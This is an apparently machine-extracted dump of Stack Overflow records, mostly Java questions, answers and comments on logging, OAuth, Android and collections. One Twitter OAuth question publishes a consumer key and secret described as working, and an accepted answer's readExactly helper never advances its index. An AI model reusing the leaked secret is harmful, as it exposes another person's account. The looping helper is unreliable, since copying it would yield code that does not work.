has body: I would recommend using the log4j-1.2 adapter that is included in the log4j2 distribution. That way, any libraries coded to the log4j-1.2 API will work with log4j2 without any code changes. Your classpath should include: log4j-api-2.6.1.jar log4j-core-2.6.1.jar log4j-1.2-api-2.6.1.jar log4j2.xml Your classpath should not include: log4j-1.2.x.jar log4j.properties or log4j.xml (these will be ignored by log4j2 anyway) See also http://logging.apache.org/log4j/2.x/faq.html#which_jars
answers question: http://stackoverflow.com/q/22321109
has comment: http://stackoverflow.com/comment/33921738
has comment: http://stackoverflow.com/comment/33922026
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/33921030
has comment: http://stackoverflow.com/comment/33921388
has comment: http://stackoverflow.com/comment/33921835

http://stackoverflow.com/comment/33930679
score: 0
comment on: http://stackoverflow.com/a/22322401
type: Comment
has text: Yeah you were right! Now I was able to solve my problem!
type: AnswerComment

http://stackoverflow.com/comment/33834717
score: 0
has text: your question is not as per SO guidelines, answers to your question would be kind of suggestion.. so my suggestion--> I think you need a good Spring book!!
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/22273713

http://stackoverflow.com/comment/33881266
type: AnswerComment
comment on: http://stackoverflow.com/a/22278613
has text: As problem persists,I m not able to use eclipse :(
score: 0
type: Comment

http://stackoverflow.com/q/22321032
answer count: 2
has title: Add(concatenate) to elements of Arraylist from another arraylist
has comment: http://stackoverflow.com/comment/33920087
tagged with: arraylist
score: 0
has body: , I'm comparing one arrayList with another arrayList, if elements that are "contained" in both i would like to attach the element in the second arraylist to the element in the first along with "== neg==". The problem is I'm creating a new element in the first Arraylist instead of appending it to the element. I'm new to programming any assistance would be appreciated!! public static List&lt;String&gt; neg_compare( List&lt;String&gt;tagged, List&lt;String&gt;negative_words, List&lt;String&gt;total_compare ) { //int pos_sentiment = 0; //int pos_count = 0; int total_tweets = 0; int neg_count = 0; for(int j =0 ; j &lt; tagged.size(); j++) { total_tweets ++; total_compare.add(tagged.get(j)); for(int k = 0; k &lt; negative_words.size(); k++) { if(tagged.get(j).contains(negative_words.get(k))) { //pos_count ++; total_compare.add( " == neg == " + negative_words.get(k) +"\n"); } } System.out.print(total_compare + "\n"); System.out.print(total_tweets); } return total_compare; } }
has answer: http://stackoverflow.com/a/22321218
has comment: http://stackoverflow.com/comment/33919284
has answer: http://stackoverflow.com/a/22362046
has comment: http://stackoverflow.com/comment/33990938
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33919858
has comment: http://stackoverflow.com/comment/33919371
has comment: http://stackoverflow.com/comment/33919419
type: Question
has comment: http://stackoverflow.com/comment/33990798
tagged with: java
has comment: http://stackoverflow.com/comment/33919784

http://stackoverflow.com/comment/33824855
type: Comment
type: QuestionComment
score: 2
has text: What does "break down" mean exactly? If you have an exception, please post the stacktrace from logcat.
comment on: http://stackoverflow.com/q/22268195

http://stackoverflow.com/a/22183621
type: Answer
upvote count: 1
has comment: http://stackoverflow.com/comment/33674258
has comment: http://stackoverflow.com/comment/33672913
has body: There is always the possibility that none of your cases matches, if monthNumber is less than or equal to 0, or if it's 13 or greater. This means that there is a possibility of the variable not being initialized. Because numbers outside the range of 1-12 don't make sense, it's better to throw an IllegalArgumentException at the bottom if no case matches. This example also includes changing all case assignment statements to return statements, so that there is a return or a throw for every case, even for the unmatched case. ... if (monthNumber == 12) return "December"; // No case matched. throw new IllegalArgumentException("Bad month number: " + monthNumber); } The code that calls this method should catch this exception and handle it properly.
has comment: http://stackoverflow.com/comment/33673115
accepted answer of: http://stackoverflow.com/q/22183516
type: AcceptedAnswer
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/22183516
has comment: http://stackoverflow.com/comment/33672569

http://stackoverflow.com/q/22298162
has comment: http://stackoverflow.com/comment/33882851
has comment: http://stackoverflow.com/comment/33879404
type: Question
has body: I'm automating a webapp using TestNG, webdriver java. I need to assert the header text in order to make sure if I'm navigating to the expected page. My page has no title so I can't use getTitle method, instead I tried to use the below code to assert the header's text. My code: String expectedUserClientPage = "Clients>TestCompany>Users"; WebElement divElement = driver.findElement(By.xpath(".//*[@id='main']/h2[2]")); String str = divElement.getText(); Assert.assertEquals(str, expectedUserClientPage,"User Client page is not found!"); HTML code: › TestCompany › Users Note: Here my main concern is to get the 'Users', but as Users is linked with Clients and TestCompany, I'm getting this error: java.lang.AssertionError: User Client page is not found! expected [Clients>TestCompany>Users] but found [Clients?TestCompany?Users] In my app, the header looks like this Clients > TestCompany > Users Please help. Thanks.
tagged with: testng
has comment: http://stackoverflow.com/comment/33879971
has comment: http://stackoverflow.com/comment/33880391
score: 0
tagged with: java
tagged with: selenium
tagged with: webdriver
has title: How to assert page's header text
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33882636
has comment: http://stackoverflow.com/comment/33880843
has comment: http://stackoverflow.com/comment/33880819

http://stackoverflow.com/q/22191685
has comment: http://stackoverflow.com/comment/33686600
accepted answer: http://stackoverflow.com/a/22196461
has comment: http://stackoverflow.com/comment/33686519
answer count: 1
downvote count: 0
has body: I am writing a code for oauth with twitter, and i have 401 error code and "Failed to validate oauth signature and token" response from twitter when i fetch post request to https://api.twitter.com/oauth/request_token. This is my data which i have: Consumer/api key - ffo9MLdRF8XOd9DKB0HeA Consumer/api secret - fUJtvIpujTslQOlVbZY6QU8cNEMdwoxzTG1gh93SUgs Url callback - https://oauth.vk.com/blank.html My steps: 1.Prepared string for making signature POST&amp;https%3A%2F%2Fapi.twitter.com%2Foauth%2Frequest_token&amp;oauth_callback%3Dhttps%3A%2F%2Foauth.vk.com%2Fblank.html%26oauth_consumer_key%3Dffo9MLdRF8XOd9DKB0HeA%26oauth_nonce%3Dfb0e9383f0c84326a124dd4ccfddd2d2%26oauth_signature_method%3DHMAC-SHA1%26oauth_timestamp%3D1393951866%26oauth_version%3D1.0 2.Created signature qQwIvFao9yeIQpi9ouz0oFi7/v8= by code: public String calculateSign(String stringToEncode, String secret) throws Exception{ byte[] keyBytes = secret.getBytes(); byte[] text = stringToEncode.getBytes(); SecretKey secretKey = new SecretKeySpec(keyBytes, "HmacSHA1"); Mac mac = Mac.getInstance("HmacSHA1"); mac.init(secretKey); byte[] encoded = mac.doFinal(text); return new String(Base64.encode(encoded, Base64.DEFAULT)).trim(); } 3.Final Authorization header (with escaped quotes): OAuth oauth_nonce="fb0e9383f0c84326a124dd4ccfddd2d2", oauth_callback="https%3A%2F%2Foauth.vk.com%2Fblank.html", oauth_signature_method="HMAC-SHA1", oauth_timestamp="1393951866", oauth_consumer_key="ffo9MLdRF8XOd9DKB0HeA", oauth_signature="qQwIvFao9yeIQpi9ouz0oFi7%2Fv8%3D", oauth_version="1.0" Question to people who maybe knows how to work with twitter. What is wrong with my data? I can provide more code, but i think it is not useful. P.S. - i provided working credentials, i will change them after 3 - 4 hours. UPD: This is my key which used in calculateSign function fUJtvIpujTslQOlVbZY6QU8cNEMdwoxzTG1gh93SUgs%26
has comment: http://stackoverflow.com/comment/33686540
favorite count: 0
tagged with: oauth
upvote count: 2
has answer: http://stackoverflow.com/a/22196461
has title: Java twitter OAuth, Failed to validate oauth signature
type: Question
score: 2
type: AnsweredQuestion
tagged with: java
tagged with: twitter

http://stackoverflow.com/q/22173832
favorite count: 0
tagged with: google-drive-api
has comment: http://stackoverflow.com/comment/33764468
has answer: http://stackoverflow.com/a/22355707
linked to: http://stackoverflow.com/q/11602334
has answer: http://stackoverflow.com/a/22374788
tagged with: google-api
has title: "401 Unauthorized" when trying to watch changes on Google Drive with Java API Client
has comment: http://stackoverflow.com/comment/101483114
has comment: http://stackoverflow.com/comment/33913835
has comment: http://stackoverflow.com/comment/49874165
type: UnansweredQuestion
tagged with: java
type: Question
tagged with: google-api-java-client
upvote count: 5
has answer: http://stackoverflow.com/a/22384188
has comment: http://stackoverflow.com/comment/33788975
linked to: http://stackoverflow.com/q/43730882
answer count: 3
score: 5
has comment: http://stackoverflow.com/comment/49998714
downvote count: 0
has body: Really stuck here. The code, built from examples provided by Google: public static void main(String[] args) { try { HttpTransport httpTransport = new NetHttpTransport(); JsonFactory jsonFactory = new JacksonFactory(); GoogleAuthorizationCodeFlow flow = new GoogleAuthorizationCodeFlow.Builder( httpTransport, jsonFactory, CLIENT_ID, CLIENT_SECRET, Arrays.asList(DriveScopes.DRIVE)) .setAccessType("online") .setApprovalPrompt("auto") .build(); String url = flow.newAuthorizationUrl().setRedirectUri(REDIRECT_URI).build(); System.out.println("Please open the following URL in your browser then type the authorization code:"); System.out.println(" " + url); BufferedReader br = new BufferedReader(new InputStreamReader(System.in)); String code = br.readLine(); GoogleTokenResponse response = flow.newTokenRequest(code).setRedirectUri(REDIRECT_URI).execute(); GoogleCredential credential = new GoogleCredential().setFromTokenResponse(response); //Create a new authorized API client Drive service = new Drive.Builder(httpTransport, jsonFactory, credential).setApplicationName("Google Push").build(); //Insert a file File body = new File(); body.setTitle("My document"); body.setDescription("A test document"); body.setMimeType("text/plain"); java.io.File fileContent = new java.io.File("document.txt"); BufferedWriter bw = new BufferedWriter(new FileWriter(fileContent)); bw.write("allo!!!!"); bw.close(); System.out.println("file created? -&gt; " + fileContent.createNewFile()); FileContent mediaContent = new FileContent("text/plain", fileContent); File file = service.files().insert(body, mediaContent).execute(); System.out.println("File ID: " + file.getId()); watchChange(service, "channelId", "web_hook", "https://clementlevallois.net/notifications"); // line 78 } catch (IOException ex) { Logger.getLogger(DriveCommandLine.class.getName()).log(Level.SEVERE, null, ex); } } private static Channel watchChange(Drive service, String channelId, String channelType, String channelAddress) { Channel cha…
has comment: http://stackoverflow.com/comment/33964170

http://stackoverflow.com/comment/33735064
has text: set a breakpoint, then step into the save method
comment on: http://stackoverflow.com/q/22214160
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/29987529
score: 0
has body: Change your main class from com.company.Main to the class you declared
type: Answer
answers question: http://stackoverflow.com/q/22201803

http://stackoverflow.com/comment/33865162
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22290035
has text: I've actually figured it out by copying all the jar files in WEB-INF lib folder to tomcats lib folder
score: 0

http://stackoverflow.com/comment/33904894
has text: When you get an error you should tell us about it (in the question).
score: 4
comment on: http://stackoverflow.com/q/22312420
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33827324
comment on: http://stackoverflow.com/q/22269458
has text: **'tlsv1 alert unknown ca'** while trying to validate the server certificate. CA refers to the certificate of the Server.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/22188880
favorite count: 0
tagged with: http://stackoverflow.com/tag/xml
has answer: http://stackoverflow.com/a/22245257
accepted answer: http://stackoverflow.com/a/22276535
downvote count: 1
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/22245257
tagged with: java
score: -1
type: Question
upvote count: 0
has body: How do you find all the elements which are unbounded in an XmlSchemaElement? I'm using apache's WS library...elements that look like this, &lt;xs:complexType&gt; &lt;xs:sequence maxOccurs="unbounded" &gt; &lt;xs:element name="“Object123" type="“ObjectType" &gt; &lt;xs:annotation&gt; &lt;xs:appinfo&gt; &lt;xs:attribute name="“ObjectLabel" default="“Object" /&gt; &lt;/xs:appinfo&gt; &lt;/xs:annotation&gt; &lt;/xs:element&gt; &lt;/xs:sequence&gt; &lt;/xs:complexType&gt;
linked to: http://stackoverflow.com/q/7726239
has answer: http://stackoverflow.com/a/22276535
has answer: http://stackoverflow.com/a/22246443
answer count: 3
tagged with: android
has title: Find all unbounded elements in XmlSchemaElement

http://stackoverflow.com/q/22230373
tagged with: import
type: Question
has body: Hi I have a custom class which consists of a custom exception folder and 3 .java files. My structure is com/raeside/family/ So I want to do the following import com.raeside.family.*; But it is just giving me a red underline and when I try to let netbeans repair it, it doesn't work. Where should I store my com/ folder so that I can import it into my java program? I tried storing it inside of projectname/src/ but it's to no avail. package com.raeside.family; public class W4Q3 { public static void main(String[] args) { System.out.println("hello"); } } Is my code, my W4Q3 file is in the family folder. Is there something I am missing?
answer count: 1
type: UnansweredQuestion
tagged with: package
has answer: http://stackoverflow.com/a/22230591
has title: Need to import custom package to my class
score: 0
tagged with: java

http://stackoverflow.com/comment/33660934
type: Comment
has text: To see the HTTP header that is generated by the client that is working, you need some kind of HTTP request interceptor. Your request should send something like `request.addHeader("Content-Type", "application/xml");`
comment on: http://stackoverflow.com/a/22176884
type: AnswerComment
score: 0

http://stackoverflow.com/a/22288714
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/33908496
has body: So I tried to clean up your Player class a bit: public class Player { // The two players are going to enter: String p1[] = {"Jack", "h", "k"}; String p2[] = {"Jill", "d", "9"}; //Setting up values String jack = "Jack"; String jill = "Jill"; String h = " Hearts "; String d = " Diamonds "; String k = " King "; int val = 9; // Score public int score = 0; // State variable score, set equal to 0 // Player name - Jack, Jill public Player(String jack, String h, String k) { this.jack = jack; this.h = h; this.k = k; } public String playerName(String player) { // not sure what this is doing? // this first line does nothing at all // because player gets reassigned to "Jill" player = "Jack"; player = "Jill"; return player; } // Card suit public String cardSuit(String getcardSuit) { return cardSuit; } // Card Value for player 1 public String getCardValue() { return cardValue; } public String getScore(String score) { return score; } public String player; public String playerName; public String cardSuit; public String cardValue; public double getScore; public String getCardSuit() { return cardSuit; } public int getScore() { return 0; } } There are a couple of conventions you should start using. Class names should start with an uppercase letter. Variables and stuff like that should all have lower case letters (unless it is a static).
answers question: http://stackoverflow.com/q/22288541

http://stackoverflow.com/comment/33670674
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22182080
has text: Maybe you can use regex to solve this problem.

http://stackoverflow.com/comment/33885523
has text: Sounds easy. I feel I could get the values into the 2d array but I'm not sure how I would go about sorting it.
comment on: http://stackoverflow.com/a/22300931
type: AnswerComment
type: Comment
score: 0

http://stackoverflow.com/comment/33987557
score: 0
type: Comment
has text: Updated answer to address additional questions.
comment on: http://stackoverflow.com/a/22352860
type: AnswerComment

tableview
tags question: http://stackoverflow.com/q/22199089
type: Tag
tags question: http://stackoverflow.com/q/22274244
tag name: tableview

http://stackoverflow.com/q/22171454
favorite count: 0
has title: Mobile Backend Starter Notification when app not running
tagged with: google-app-engine
tagged with: android
tagged with: google-cloud-messaging
type: AnsweredQuestion
upvote count: 3
tagged with: java
type: Question
has answer: http://stackoverflow.com/a/25045810
score: 3
accepted answer: http://stackoverflow.com/a/25045810
linked to: http://stackoverflow.com/q/17474998
answer count: 1
downvote count: 0
has body: In my Android app, I use the Mobile Backend Starter from Google. I'd like to get a notification when the CloudEntities on the server get updated, and this notification should contain some data from the updated Entity. It works when the app is running in the background, but when I close the app (by swiping it away in the multitasking view), I can't make such a notification because I haven't got access to the CloudBackendAsync in the GCMIntentService. I already saw this question: Mobile Backend handle continuous queries in background But it doesn't have a solution for the problem of accessing the cloud data in the GCMIntentService. EDIT: My current code in GCMIntentService.java protected void onHandleIntent(Intent intent) { //... (Check if the GCM Message is about an update of the Mobile Backend) // dispatch message if (GCM_TYPEID_QUERY.equals(typeId)) { // Here, a broadcast is sent to the Main Activity of the app, which then downloads // the new content and shows a notification in the CloudCallbackHandler. That // only works when the Activity is running. // So I would like to get access to the CloudBackendAsync instance from // the app here to download data in the background and show a notification. Intent messageIntent = new Intent(BROADCAST_ON_MESSAGE); messageIntent.putExtras(intent); messageIntent.putExtra("token", tokens[2]); LocalBroadcastManager.getInstance(this).sendBroadcast(messageIntent); } //... }

http://stackoverflow.com/a/22226397
answers question: http://stackoverflow.com/q/22225748
has body: ok, I found the answer. if you want to always have "fresh" screenshot you need to destroy cache after all operations: v.setDrawingCacheEnabled(false);
score: 0
type: Answer

http://stackoverflow.com/comment/33917924
comment on: http://stackoverflow.com/a/22320173
type: Comment
has text: This would still print `first ,` which - as you can read above - is my goal to be omitted.
score: 0
type: AnswerComment

http://stackoverflow.com/a/22268994
score: 1
has comment: http://stackoverflow.com/comment/33826173
upvote count: 1
type: AcceptedAnswer
has body: Since you are extending the SimpleTagSupport, you can call the inherited method getJspContext() which will return a JspContext object (which will give you access to page, request and session objects), cast it to a PageContext: PageContext context = (PageContext) getJspContext(); Then simply retrieve the ServletRequest from the context object: ServletRequest request = (HttpServletRequest) context.getRequest();
has comment: http://stackoverflow.com/comment/33826297
accepted answer of: http://stackoverflow.com/q/22268836
type: Answer
answers question: http://stackoverflow.com/q/22268836
downvote count: 0

http://stackoverflow.com/comment/33705127
has text: [`FutureTask`](http://docs.oracle.com/javase/7/docs/api/java/util/concurrent/FutureTask.html): "A cancellable asynchronous computation."
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22202183
score: 1

http://stackoverflow.com/comment/33802688
type: Comment
comment on: http://stackoverflow.com/a/22255800
has text: This doesn't work. Consider the string "/**docstring*/ somelinesofcode; /*this line of code does something!*/" The entire string will be included.
score: 0
type: AnswerComment

http://stackoverflow.com/comment/33766976
score: 0
has text: Are you thinking that the way ArrayList has it, it means that the equals method of `Object` is called?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22236009

http://stackoverflow.com/q/22298621
type: Question
has comment: http://stackoverflow.com/comment/33879347
has answer: http://stackoverflow.com/a/22298648
score: 0
answer count: 2
has body: I have n class (Class1, Class2, .., Classn), each have a static main methods. I wish to store this class in an array, and call the main method once for each class. But what is the type that I have to declare for this array? This is what I have done finally according to the reply from T.J. Crowder ArrayList&lt;Class&gt; meoa = new ArrayList( Arrays.asList(Class.forName("mypackage.Class1"), Class.forName("mypackage.Class2"), Class.forName("mypackage.Class3"), Class.forName("mypackage.Class4"), Class.forName("mypackage.Class5"))); for(Class cls:meoa) { System.out.println("Invoking:"+cls.getName()); Method m = cls.getDeclaredMethod("main", String[].class); Object[] arg = new Object[1]; arg[0] = new String[] {}; m.invoke(null, arg); }
has title: Storing Class in Array
possible better answer: http://stackoverflow.com/a/22298679
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/22298648
has answer: http://stackoverflow.com/a/22298679
tagged with: java

http://stackoverflow.com/comment/33964174
type: Comment
has text: @Eugene I am not sure you are right: `final SimpleDataFormat sdf = ...; new Thread() {public void run() {sdf.format(...);} }.start();`
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22298727

http://stackoverflow.com/q/22176918
score: 1
tagged with: java
type: Question
has title: No Result sent after onError() in the Play Framework
downvote count: 0
answer count: 1
has answer: http://stackoverflow.com/a/22193748
favorite count: 0
tagged with: playframework-2.2
has body: I am using Play 2.2.1. In my Global class I have the onError()-method overridden like this: public Promise&lt;SimpleResult&gt; onError(RequestHeader request, Throwable t) { Logger.info("onError reached"); return Promise.&lt;SimpleResult&gt;pure(internalServerError(t.getMessage())); } Thus my code is only slightly modified compared to the documentation. After an exception occurs, it appears in the logging and the "onError reached" is also logged. Nevertheless it seems that the Result is never sent to the client as it is still waiting for an answer. How do I send the internalServerError-Result back to the client if an error occured? As a workaround I do the following: public static Result someAction() { try{ ... } catch (Exception ex) { Logger.error(ex.getMessage(), ex); return internalServerError(ex.getMessage()); } } I would really like to avoid that, because I think it's ugly, but at least it seems to work. Are there any possible problems (except that it has to be repeated for every Action) with that approach?
type: UnansweredQuestion
upvote count: 1
tagged with: playframework-2.0

http://stackoverflow.com/comment/33703136
type: Comment
comment on: http://stackoverflow.com/a/22199679
has text: Here is a tutorial how you can tell maven to generate a project (including pom.xml): http://maven.apache.org/guides/getting-started/maven-in-five-minutes.html
type: AnswerComment
score: 0

http://stackoverflow.com/q/22234735
has comment: http://stackoverflow.com/comment/33764191
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33764136
has body: I'm trying to upload an image to a database(sql.Blob), but I'm having problems converting objects. JFileChooser jf = new JFileChooser(); if (jf.showOpenDialog(null) == JFileChooser.APPROVE_OPTION) { File f = jf.getSelectedFile(); try { FileInputStream is = new FileInputStream(f); byte[] cadenaBytes =IOUtils.toByteArray(is); imagenUser.setBytes(1, cadenaBytes); } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } catch (SQLException e) { e.printStackTrace(); } } The problem is that when the last line is executed: java.lang.NullPointerException I have a FileInputStream and I need a sql.Blob. SOLUTION: Swap the last lane to: imagenUser= new SerialBlob(cadenaBytes);
answer count: 0
has title: FileInputStream to sql.Blob
tagged with: java
has comment: http://stackoverflow.com/comment/33764188
has comment: http://stackoverflow.com/comment/33764699
type: Question
score: 0
tagged with: sql

http://stackoverflow.com/a/28604205
has body: I created a relative size unit. This size unit can be used in order to build one layout xml file for all screen. This size unit is available by linking the sdp sdk. Here is an example of a layout XML built using this sdk: <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:background="@android:color/white" android:gravity="center"> <TextView android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Intuit" android:textColor="@android:color/black" android:textSize="@dimen/_40sdp"/> <TextView android:layout_width="wrap_content" android:layout_height="wrap_content" android:includeFontPadding="false" android:text="♡" android:textColor="#ED6C27" android:textSize="@dimen/_70sdp" android:textStyle="bold" /> <TextView android:layout_width="wrap_content" android:layout_height="wrap_content" android:includeFontPadding="false" android:text="U" android:textColor="@android:color/black" android:textSize="@dimen/_70sdp" /> <TextView android:id="@+id/give_us_a_review_landmine_text_1" android:layout_width="wrap_content" android:layout_height="wrap_content" android:gravity="center" android:paddingBottom="@dimen/_12sdp" android:text="Rate us so we can grow and help more people get their finances in check" android:textColor="@android:color/black" android:textSize="@dimen/_16sdp" /> <TextView android:id="@+id/give_us_a_review_landmine_text_2" android:layout_width="match_parent" android:layout_height="wrap_content" android:gravity="center" android:text="★★★★★" android:textColor="#747474" android:textSize="@dimen/_22sdp" android:textStyle="bold" /> <Button android:id="@+id/give_us_a_review_landmine_button" android:layout_width="match_parent" android:layout_height="wrap_content" android:layout_gravity="center" android:layout_marginTop="@dimen/_25sdp" android:padding="@dimen/_8sdp" android:text="Rate" android:text…
upvote count: 2
answers question: http://stackoverflow.com/q/22220962
score: 2
downvote count: 0
type: Answer

http://stackoverflow.com/q/22289979
type: Question
has body: Question in my book is asking: What restrictions are placed on instance variable and static variable access from within the definition of: 1.) An instance method? 2.) A static method? Is my response to this concept correct? -An instance method cannot directly access the instance variable while a static variable can be directly accessed since one copy is used throughout the class. (Each object will share this static variable as well as the static methods in the class. An instance variable is only available to each object and each object has its own copy of this instance variable.) A static method cannot access instance members of the class. A static method can however access members of the static variable.
accepted answer: http://stackoverflow.com/a/22290112
possible better answer: http://stackoverflow.com/a/22290040
has answer: http://stackoverflow.com/a/22290040
tagged with: static-methods
answer count: 2
downvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/33864577
has comment: http://stackoverflow.com/comment/33864573
has title: Java clarification on instance and static variable usage from within instance and static methods?
has comment: http://stackoverflow.com/comment/33864518
tagged with: instance-variables
has answer: http://stackoverflow.com/a/22290112
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33864565
has comment: http://stackoverflow.com/comment/33864803
score: 1
tagged with: java
upvote count: 1

http://stackoverflow.com/comment/33792297
has text: Java passes references by value - this is exactly how it it supposed to work.
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/22250507
type: Comment

http://stackoverflow.com/a/22205291
answers question: http://stackoverflow.com/q/22205113
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/22205113
type: Answer
score: 2
downvote count: 0
has body: Both your use of available() and your call to read are broken. Admittedly I would have somewhat expected this to be okay for a FileInputStream (until you reach the end of the stream, at which point ignoring the return value for read could still be disastrous) but I personally assume that streams can always return partial data. available() only tells you whether there's any data available right now. It's very rarely useful - just ignore it. If you want to read until the end of the stream, you should usually keep calling read until it returns -1. It's slightly tricky to combine that with "I'm trying to read the next block", admittedly. (It would be nice if InputStream had a peek() method, but it doesn't. You can wrap it in a BufferedInputStream and use mark/reset to test that at the start of each loop... ugly, but it should work.) Next, you're ignoring the result of InputStream.read (in multiple places). You should always use the result of this, rather than assuming it has read the amount of data you've asked for. You might want a couple of helper methods, e.g. static byte[] readExactly(InputStream input, int size) throws IOException { byte[] data = new byte[size]; readExactly(input, data); return data; } static void readExactly(InputStream input, byte[] data) throws IOException { int index = 0; while (index &lt; data.length) { int bytesRead = input.read(data, index, data.length - index); if (bytesRead &lt; 0) { throw new EOFException("Expected more data"); } } }
upvote count: 2

http://stackoverflow.com/comment/33842603
comment on: http://stackoverflow.com/a/22277683
type: AnswerComment
score: 0
has text: You chnaged the name in the combo box to conversion, so you need to change the swtch also. Also you need to set the frame visible(true), it's currently false.
type: Comment

http://stackoverflow.com/comment/33846860
type: Comment
comment on: http://stackoverflow.com/a/22270010
type: AnswerComment
has text: Thanks for the explanation. Now I understand the fact that clone method was not correctly implemented.
score: 0

sql
tags question: http://stackoverflow.com/q/22307679
tags question: http://stackoverflow.com/q/22210096
tags question: http://stackoverflow.com/q/22234735
tags question: http://stackoverflow.com/q/22213002
tags question: http://stackoverflow.com/q/22175153
tags question: http://stackoverflow.com/q/22302097
tags question: http://stackoverflow.com/q/22235586
tags question: http://stackoverflow.com/q/22309455
tags question: http://stackoverflow.com/q/22308361
tags question: http://stackoverflow.com/q/22255611
tags question: http://stackoverflow.com/q/22195603
tags question: http://stackoverflow.com/q/22213707
tags question: http://stackoverflow.com/q/22268136
tags question: http://stackoverflow.com/q/22298303
tags question: http://stackoverflow.com/q/22169731
tags question: http://stackoverflow.com/q/22245463
tags question: http://stackoverflow.com/q/22205655
tags question: http://stackoverflow.com/q/22273391
tags question: http://stackoverflow.com/q/22273200
tags question: http://stackoverflow.com/q/22269839
tags question: http://stackoverflow.com/q/22287155
tags question: http://stackoverflow.com/q/22291861
tags question: http://stackoverflow.com/q/22227547
tags question: http://stackoverflow.com/q/22304310
tags question: http://stackoverflow.com/q/22201158
tags question: http://stackoverflow.com/q/22287160
tag name: sql
tags question: http://stackoverflow.com/q/22222090
tags question: http://stackoverflow.com/q/22320185
type: Tag
tags question: http://stackoverflow.com/q/22310812
tags question: http://stackoverflow.com/q/22229497
tags question: http://stackoverflow.com/q/22304487
tags question: http://stackoverflow.com/q/22226067
tags question: http://stackoverflow.com/q/22234628
tags question: http://stackoverflow.com/q/22294462
tags question: http://stackoverflow.com/q/22294443
tags question: http://stackoverflow.com/q/22217805
tags question: http://stackoverflow.com/q/22319330
tags question: http://stackoverflow.com/q/22201104
tags question: http://stackoverflow.com/q/22168915
tags question: http://stackoverflow.com/q/22259299
tags question: http://stackoverflow.com/q/22196385
tags question: http://stackoverflow.com/q/22286866
tags question: http://stackoverflow.com/q/22269908
tags question: http://stackoverflow.com/q/22274572
tags question: http://stackoverflow.com/q/22252177
tags question: http://stackoverflow.com/q/22217226
tags question: http://stackoverflow.com/q/22221006
tags question: http://stackoverflow.com/q/22298941
tags question: http://stackoverflow.com/q/22304000
tags question: http://stackoverflow.com/q/22261830
tags question: http://stackoverflow.com/q/22282821
tags question: http://stackoverflow.com/q/22216694
tags question: http://stackoverflow.com/q/22252963
tags question: http://stackoverflow.com/q/22207436
tags question: http://stackoverflow.com/q/22261947
tags question: http://stackoverflow.com/q/22203958
tags question: http://stackoverflow.com/q/22295927
tags question: http://stackoverflow.com/q/22290494
tags question: http://stackoverflow.com/q/22194094
tags question: http://stackoverflow.com/q/22266551
tags question: http://stackoverflow.com/q/22214828
tags question: http://stackoverflow.com/q/22309812
tags question: http://stackoverflow.com/q/22201330
tags question: http://stackoverflow.com/q/22260823
tags question: http://stackoverflow.com/q/22319061
tags question: http://stackoverflow.com/q/22175322
tags question: http://stackoverflow.com/q/22181464
tags question: http://stackoverflow.com/q/22238352
tags question: http://stackoverflow.com/q/22291443
tags question: http://stackoverflow.com/q/22312777

http://stackoverflow.com/q/22307114
tagged with: switch-statement
has answer: http://stackoverflow.com/a/22307132
tagged with: for-loop
favorite count: 0
has answer: http://stackoverflow.com/a/22307346
type: UnansweredQuestion
tagged with: android
tagged with: return
downvote count: 2
has body: For some reason my for loop is not running and I can't seem to figure out why. It keeps skipping straight to the return statement. Thanks. public char[] palindromeCheck(char[] original) { char[] reversed = new char[original.length]; for (int i = original.length; i &lt;0; i--) { switch (original[i]){ case 'A': original[i] = Character.toLowerCase(original[i]); break; case 'E': original[i] = Character.toLowerCase(original[i]); break; case 'I': original[i] = Character.toLowerCase(original[i]); break; case 'O': original[i] = Character.toLowerCase(original[i]); break; case 'U': original[i] = Character.toLowerCase(original[i]); break; default: original[i] = Character.toUpperCase(original[i]); break; } reversed[i] = original[i]; } return reversed; }
upvote count: 1
has answer: http://stackoverflow.com/a/22307247
has answer: http://stackoverflow.com/a/22307244
has title: For loop not running in method
type: Question
has answer: http://stackoverflow.com/a/22308156
has answer: http://stackoverflow.com/a/22307139
tagged with: java
has comment: http://stackoverflow.com/comment/34278748
answer count: 6
score: -1

http://stackoverflow.com/comment/33687090
comment on: http://stackoverflow.com/a/22190653
has text: Normally, yes, but this does not solve the issue that the OP is having
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/34524078
score: 0
type: Comment
has text: what can you say regarding the above comment? `Please note, that the Screen-Events could be also fired by applications like WhatsApp if they automatically enable the display to show a new message. Due to this fact should you rather stick to ACTION_USER_PRESENT.`
comment on: http://stackoverflow.com/a/22340045
type: AnswerComment

http://stackoverflow.com/comment/33648255
type: Comment
has text: I think he did since he gave as first example `"USER1` should be incremented to `"USER2"`, and continuing from that value `"USER9"` will come at some point, just saying...
comment on: http://stackoverflow.com/a/22170101
score: 0
type: AnswerComment

http://stackoverflow.com/comment/33669081
has text: I know, right? I was successful in creating that class, but arrays in the class go right over my head.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22180994
score: 0

http://stackoverflow.com/comment/33758680
score: 0
has text: I have build another solution with max() and a subquery. Hope it helps :)
type: Comment
type: AnswerComment
